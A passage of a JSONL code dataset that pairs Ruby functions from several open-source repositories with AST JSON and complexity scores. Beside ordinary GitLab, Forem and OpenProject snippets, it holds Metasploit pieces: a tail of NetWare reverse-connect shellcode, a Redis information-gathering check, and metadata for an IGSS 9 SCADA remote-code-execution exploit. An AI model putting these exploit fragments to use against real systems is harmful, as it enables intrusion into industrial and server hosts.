loop\\n\"]},{\"type\":\"str\",\"children\":[\"  call [edi-0x18]       // SERVER.NLM|kWorkerThread\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"fct_ptrs:\\n\"]},{\"type\":\"str\",\"children\":[\"  dd 0x9294bdcb         // SERVER.NLM|kWorkerThread\\n\"]},{\"type\":\"str\",\"children\":[\"  dd 0x3605cc1c         // LIBC.NLM|bsd_recvmsg_mp\\n\"]},{\"type\":\"str\",\"children\":[\"  dd 0x19a75280         // LIBC.NLM|bsd_connect_mp\\n\"]},{\"type\":\"str\",\"children\":[\"  dd 0x46f23d88         // LIBC.NLM|bsd_socket_mp\\n\"]},{\"type\":\"str\",\"children\":[\"  dd 0x6877687c         // AFPTCP.NLM|LB_malloc\\n\"]},{\"type\":\"str\",\"children\":[\"  dd 0x8967f0ce         // NSS.NLM|NSSMPK_UnlockNss\\n\"]},{\"type\":\"str\",\"children\":[\"end_reverse:\\n\"]},{\"type\":\"str\",\"children\":[\"  nop\\n\"]}]}]}]}]}]}]}]}]}","id":"fd40ab89-136f-41c6-8edd-9837a938e067"}
{"repo_name":"forem","file_path":"./repos/forem/app/workers/users/merge_sync_worker.rb","start_line":22,"raw_source":"def resave_content(content_ar_relation)\n      # Triggers callbacks to ensure caches are busted, scores updated, and docs\n      # are reindexed with the correct new user\n      content_ar_relation.find_each(&:save)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resave_content\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content_ar_relation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content_ar_relation\"]},\"find_each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"save\"]}]}]}]}","id":"7ec0f3e8-3df3-49fb-9095-cfaa80b4ad51"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/redis_extractor.rb","start_line":132,"raw_source":"def check_host(_ip)\n    info_data = redis_connect\n    if info_data\n      if /os:(?<os_ver>.*)\\r/ =~ info_data\n        os_ver = os_ver.strip\n        print_status(\"OS is #{os_ver} \")\n      end\n\n      if /keys=(?<keys>\\S+),expires=/ =~ info_data\n        print_status(\"Redis reports #{keys} keys stored\")\n      end\n\n      if /used_memory_peak_human:(?<bytes>.*)\\r/ =~ info_data\n        bytes = bytes.strip\n        print_status(\"#{bytes.chomp} bytes stored\")\n      end\n    end\n    disconnect\n    return info_data ? Msf::Exploit::CheckCode::Appears : Msf::Exploit::CheckCode::Unknown\n  end","complexity_score":21.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"info_data\",{\"type\":\"send\",\"children\":[null,\"redis_connect\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info_data\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"match_with_lvasgn\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"os:(?<os_ver>.*)\\\\r\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"info_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"os_ver\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os_ver\"]},\"strip\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"OS is \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os_ver\"]}]},{\"type\":\"str\",\"children\":[\" \"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"match_with_lvasgn\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"keys=(?<keys>\\\\S+),expires=\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"info_data\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Redis reports \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]}]},{\"type\":\"str\",\"children\":[\" keys stored\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"match_with_lvasgn\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"used_memory_peak_human:(?<bytes>.*)\\\\r\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"info_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bytes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bytes\"]},\"strip\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bytes\"]},\"chomp\"]}]},{\"type\":\"str\",\"children\":[\" bytes stored\"]}]}]}]},null]}]},null]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"return\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info_data\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Appears\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]}]}]}","id":"f4222651-5cef-494e-8a28-9f2539410b6a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/boards/lists/list_service.rb","start_line":25,"raw_source":"def licensed_list_types(board)\n        [List.list_types[:label]]\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"licensed_list_types\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"board\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"List\"]},\"list_types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"label\"]}]}]}]}","id":"4f32658a-e3e0-4854-8bf9-f3a967654ebf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/nessus.rb","start_line":198,"raw_source":"def nessus_verify_db\n        if !(framework.db && framework.db.active)\n          print_error('No database has been configured, please use db_connect first')\n          return false\n        end\n        true\n      end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"nessus_verify_db\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"active\"]}]}]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"No database has been configured, please use db_connect first\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"841b7ce4-7560-41de-845d-77679f192bd6"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/metrics_local.rb","start_line":31,"raw_source":"def configure(conf)\n        super\n\n        if use_gauge_metric\n          class << self\n            alias_method :dec, :dec_gauge\n            alias_method :set, :set_gauge\n            alias_method :sub, :sub_gauge\n          end\n        else\n          class << self\n            alias_method :set, :set_counter\n          end\n        end\n      end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"configure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"use_gauge_metric\"]},{\"type\":\"sclass\",\"children\":[{\"type\":\"self\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"alias_method\",{\"type\":\"sym\",\"children\":[\"dec\"]},{\"type\":\"sym\",\"children\":[\"dec_gauge\"]}]},{\"type\":\"send\",\"children\":[null,\"alias_method\",{\"type\":\"sym\",\"children\":[\"set\"]},{\"type\":\"sym\",\"children\":[\"set_gauge\"]}]},{\"type\":\"send\",\"children\":[null,\"alias_method\",{\"type\":\"sym\",\"children\":[\"sub\"]},{\"type\":\"sym\",\"children\":[\"sub_gauge\"]}]}]}]},{\"type\":\"sclass\",\"children\":[{\"type\":\"self\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"alias_method\",{\"type\":\"sym\",\"children\":[\"set\"]},{\"type\":\"sym\",\"children\":[\"set_counter\"]}]}]}]}]}]}","id":"4a0671c3-4aef-4529-9743-3d64084c0637"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/boards/app/menus/boards/menu.rb","start_line":60,"raw_source":"def selected?(query_params)\n      query_params[:id].to_s == params[:id]\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"selected?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query_params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"to_s\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}","id":"32d0e901-fca5-46d4-980f-04bdc1d724b2"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/alias_processor.rb","start_line":557,"raw_source":"def process_lasgn exp\n    self_assign = self_assign?(exp.lhs, exp.rhs)\n    exp.rhs = process exp.rhs if sexp? exp.rhs\n    return exp if exp.rhs.nil?\n\n    local = Sexp.new(:lvar, exp.lhs).line(exp.line || -2)\n\n    if self_assign\n      # Skip branching\n      env[local] = get_rhs(exp)\n    else\n      set_value local, get_rhs(exp)\n    end\n\n    exp\n  end","complexity_score":28.43,"ast_json":"{\"type\":\"def\",\"children\":[\"process_lasgn\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"self_assign\",{\"type\":\"send\",\"children\":[null,\"self_assign?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"lhs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"rhs\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sexp?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"rhs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"rhs=\",{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"rhs\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"rhs\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"local\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sexp\"]},\"new\",{\"type\":\"sym\",\"children\":[\"lvar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"lhs\"]}]},\"line\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"line\"]},{\"type\":\"int\",\"children\":[-2]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"self_assign\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"local\"]},{\"type\":\"send\",\"children\":[null,\"get_rhs\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_value\",{\"type\":\"lvar\",\"children\":[\"local\"]},{\"type\":\"send\",\"children\":[null,\"get_rhs\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]}","id":"3f95db0b-8337-49ce-86d1-3ea0ea0555be"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_packages/activities_tab/shared_helpers.rb","start_line":70,"raw_source":"def activity_url(journal)\n        \"#{project_work_package_url(journal.journable.project, journal.journable)}/activity#{activity_anchor(journal)}\"\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"activity_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"journal\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_work_package_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"journal\"]},\"journable\"]},\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"journal\"]},\"journable\"]}]}]},{\"type\":\"str\",\"children\":[\"/activity\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"activity_anchor\",{\"type\":\"lvar\",\"children\":[\"journal\"]}]}]}]}]}","id":"96047851-2ca7-46ba-8807-f99a8616909d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/projects/menus/zentao_menu.rb","start_line":31,"raw_source":"def zentao_integration\n          @zentao_integration ||= context.project.zentao_integration\n        end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"zentao_integration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@zentao_integration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"project\"]},\"zentao_integration\"]}]}]}","id":"53c05a97-54a5-4f50-8177-1d64139b7520"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/controllers/discourse_ai/discord/bot_controller.rb","start_line":39,"raw_source":"def verify_request!\n        signature = request.headers[\"X-Signature-Ed25519\"]\n        timestamp = request.headers[\"X-Signature-Timestamp\"]\n        verify_key.verify([signature].pack(\"H*\"), \"#{timestamp}#{request.raw_post}\")\n      end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_request!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"signature\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"X-Signature-Ed25519\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"timestamp\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"X-Signature-Timestamp\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"verify_key\"]},\"verify\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"signature\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timestamp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"raw_post\"]}]}]}]}]}]}","id":"b4953061-d531-4ead-b105-c458137a2c7d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/create_pipeline_service.rb","start_line":171,"raw_source":"def build_logger\n      Gitlab::Ci::Pipeline::Logger.new(project: project) do |l|\n        l.log_when do |observations|\n          observations.any? do |name, observation|\n            name.to_s.end_with?('duration_s') &&\n              Array(observation).max >= LOG_MAX_DURATION_THRESHOLD\n          end\n        end\n\n        l.log_when do |observations|\n          count = observations['pipeline_size_count']\n          next false unless count\n\n          count >= LOG_MAX_PIPELINE_SIZE\n        end\n\n        l.log_when do |observations|\n          duration = observations['pipeline_creation_duration_s']\n          next false unless duration\n\n          duration >= LOG_MAX_CREATION_THRESHOLD\n        end\n      end\n    end","complexity_score":33.9,"ast_json":"{\"type\":\"def\",\"children\":[\"build_logger\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"Pipeline\"]},\"Logger\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"l\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"log_when\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"observations\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"observations\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"observation\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"duration_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"observation\"]}]},\"max\"]},\">=\",{\"type\":\"const\",\"children\":[null,\"LOG_MAX_DURATION_THRESHOLD\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"log_when\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"observations\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"observations\"]},\"[]\",{\"type\":\"str\",\"children\":[\"pipeline_size_count\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},null,{\"type\":\"next\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\">=\",{\"type\":\"const\",\"children\":[null,\"LOG_MAX_PIPELINE_SIZE\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"log_when\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"observations\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"duration\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"observations\"]},\"[]\",{\"type\":\"str\",\"children\":[\"pipeline_creation_duration_s\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duration\"]},null,{\"type\":\"next\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duration\"]},\">=\",{\"type\":\"const\",\"children\":[null,\"LOG_MAX_CREATION_THRESHOLD\"]}]}]}]}]}]}]}","id":"c00402bd-e2f6-4d13-83a0-5a83f4abd54e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/scada/igss9_misc.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"7-Technologies IGSS 9 Data Server/Collector Packet Handling Vulnerabilities\",\n        'Description' => %q{\n          This module exploits multiple vulnerabilities found on IGSS 9's Data Server and\n          Data Collector services.  The initial approach is first by transferring our binary\n          with Write packets (opcode 0x0D) via port 12401 (igssdataserver.exe), and then send\n          an EXE packet (opcode 0x0A) to port 12397 (dc.exe), which will cause dc.exe to run\n          that payload with a CreateProcessA() function as a new thread.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Luigi Auriemma', # Initial discovery, poc\n          'sinn3r', # Metasploit\n        ],\n        'References' => [\n          [ 'CVE', '2011-1565'],\n          [ 'CVE', '2011-1566'],\n          [ 'OSVDB', '72354'],\n          [ 'OSVDB', '72349'],\n          [ 'URL', 'http://aluigi.altervista.org/adv/igss_1-adv.txt' ],  # Write File packet flaw\n          [ 'URL', 'http://aluigi.altervista.org/adv/igss_8-adv.txt' ],  # EXE packet flaw\n          [ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-132-01A']\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => \"none\",\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          # Service packs do not have any influence on the exploit\n          [ 'Windows XP', {} ],\n          [ 'Windows 7', {} ],\n          [ 'Windows Server 2003 / R2', {} ],\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2011-03-24',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(0, false),\n      ]\n    )\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"7-Technologies IGSS 9 Data Server/Collector Packet Handling Vulnerabilities\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits multiple vulnerabilities found on IGSS 9's Data Server and\\n\"]},{\"type\":\"str\",\"children\":[\"          Data Collector services.  The initial approach is first by transferring our binary\\n\"]},{\"type\":\"str\",\"children\":[\"          with Write packets (opcode 0x0D) via port 12401 (igssdataserver.exe), and then send\\n\"]},{\"type\":\"str\",\"children\":[\"          an EXE packet (opcode 0x0A) to port 12397 (dc.exe), which will cause dc.exe to run\\n\"]},{\"type\":\"str\",\"children\":[\"          that payload with a CreateProcessA() function as a new thread.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Luigi Auriemma\"]},{\"type\":\"str\",\"children\":[\"sinn3r\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2011-1565\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2011-1566\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"72354\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"72349\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://aluigi.altervista.org/adv/igss_1-adv.txt\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://aluigi.altervista.org/adv/igss_8-adv.txt\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.cisa.gov/uscert/ics/advisories/ICSA-11-132-01A\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"none\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 7\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows Server 2003 / R2\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2011-03-24\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"51a51acf-c900-44e4-b70a-e56e4405f860"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/slash_commands/global_slack_handler.rb","start_line":34,"raw_source":"def valid_token?\n        ActiveSupport::SecurityUtils.secure_compare(\n          Gitlab::CurrentSettings.current_application_settings\n            .slack_app_verification_token,\n          params[:token]\n        )\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_token?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"SecurityUtils\"]},\"secure_compare\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"current_application_settings\"]},\"slack_app_verification_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"token\"]}]}]}]}","id":"e4571a05-73aa-463b-9bdf-0c85fcfe906a"}
